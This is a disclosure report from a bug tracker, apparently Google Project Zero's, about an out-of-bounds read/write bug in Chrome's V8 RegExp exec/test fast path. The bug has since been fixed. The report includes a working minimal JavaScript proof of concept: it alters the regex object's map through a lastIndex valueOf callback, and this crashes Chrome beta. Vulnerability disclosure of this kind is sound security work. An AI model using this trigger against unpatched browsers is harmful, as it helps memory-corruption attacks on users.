New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Jun 29
Cc:



Sign in to add a comment
Google Chrome: OOB access in RegExp Stubs
Project Member Reported by natashenka@google.com, Apr 4 2017 Back to list
There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.

A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.

var re;
function f(){
	for(var i = 0; i < 100; i++){
		re["test" + i] = 0x77777777; // make a dict
	}
return 0;
}

re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);

This PoC crashes on google-chrome-beta on Linux.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
regex.html
322 bytes View Download
regex2.html
322 bytes View Download
Project Member Comment 1 by natashenka@google.com, Apr 4 2017
Summary: Google Chrome: OOB access in RegExp Stubs (was: Google Chrome: OOB access in RegExp Subs)
Project Member Comment 3 by natashenka@google.com, Jun 29
Labels: -Restrict-View-Commit
Status: Fixed
Sign in to add a comment